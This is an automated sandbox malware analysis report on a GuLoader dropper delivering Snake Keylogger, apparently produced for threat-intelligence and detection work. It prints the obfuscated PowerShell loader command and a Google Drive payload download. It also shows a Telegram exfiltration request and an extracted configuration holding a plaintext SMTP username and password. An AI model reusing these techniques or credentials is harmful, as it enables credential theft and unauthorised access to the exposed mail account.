Edit tour

Windows Analysis Report
HVSU7GbA5N.exe

Overview

General Information

Sample name:	HVSU7GbA5N.exe renamed because original name is a hash value
Original sample name:	6370b5dcbbb9b63214f20ebf3fea952c4ddc1fdd41e2d2594dc0717bcd7f9739.exe
Analysis ID:	1586021
MD5:	9eeaa6c9ce625021ac21b5eb40fb73e7
SHA1:	459fa22834028579136aebd1327a6ff8b6e654cb
SHA256:	6370b5dcbbb9b63214f20ebf3fea952c4ddc1fdd41e2d2594dc0717bcd7f9739
Tags:	exeuser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Early bird code injection technique detected

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

HVSU7GbA5N.exe (PID: 7576 cmdline: "C:\Users\user\Desktop\HVSU7GbA5N.exe" MD5: 9EEAA6C9CE625021AC21B5EB40FB73E7)

powershell.exe (PID: 7644 cmdline: "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3504 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "juanantonio@autorecambiosjuanjose.com", "Password": "JA-*2020antonio", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.2032574742.000000000A644000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: msiexec.exe PID: 3504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 3504	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.184.238, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 3504, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7644, TargetFilename: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , CommandLine: "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\HVSU7GbA5N.exe", ParentImage: C:\Users\user\Desktop\HVSU7GbA5N.exe, ParentProcessId: 7576, ParentProcessName: HVSU7GbA5N.exe, ProcessCommandLine: "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , ProcessId: 7644, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:21:25.392730+0100	2803305	3	Unknown Traffic	192.168.2.8	49713	188.114.97.3	443	TCP
2025-01-08T16:21:30.188459+0100	2803305	3	Unknown Traffic	192.168.2.8	49719	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:21:23.621820+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	132.226.8.169	80	TCP
2025-01-08T16:21:24.809363+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	132.226.8.169	80	TCP
2025-01-08T16:21:26.293753+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49714	132.226.8.169	80	TCP
2025-01-08T16:21:28.012490+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49716	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:21:18.656695+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49709	142.250.184.238	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:21:36.997539+0100	1810007	1	Potentially Bad Traffic	192.168.2.8	49728	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://varders.kozow.com:8081	Avira URL Cloud: Label: malware
Source: http://aborters.duckdns.org:8081	Avira URL Cloud: Label: phishing
Source: http://anotherarmy.dns.army:8081	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "juanantonio@autorecambiosjuanjose.com", "Password": "JA-*2020antonio", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: HVSU7GbA5N.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: HVSU7GbA5N.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49712 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49728 version: TLS 1.2

Source: HVSU7GbA5N.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb0:lp source: powershell.exe, 00000002.00000002.2031388759.0000000008BC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb53 source: powershell.exe, 00000002.00000002.2011151339.0000000003575000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s\System.Core.pdbw,l source: powershell.exe, 00000002.00000002.2031388759.0000000008BC1000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00405EC1 FindFirstFileA,FindClose,	0_2_00405EC1
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_0040547D GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040547D

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 4x nop then jmp 02D5F45Dh

9_2_02D5F2C0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.8:49728 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:44:31%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49716 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49714 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49711 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49709 -> 142.250.184.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49719 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49712 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:44:31%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 08 Jan 2025 15:21:36 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: powershell.exe, 00000002.00000002.2010747235.0000000003408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft(
Source: HVSU7GbA5N.exe, HVSU7GbA5N.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: HVSU7GbA5N.exe, HVSU7GbA5N.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2012024518.0000000005271000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2030872209.0000000008B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000002.00000002.2030872209.0000000008B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.csU
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2012024518.0000000005271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20a
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 00000009.00000002.2665789154.000000002322E000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002321F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002325F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: msiexec.exe, 00000009.00000002.2665789154.000000002321F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enp
Source: powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 00000009.00000002.2653650551.000000000757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
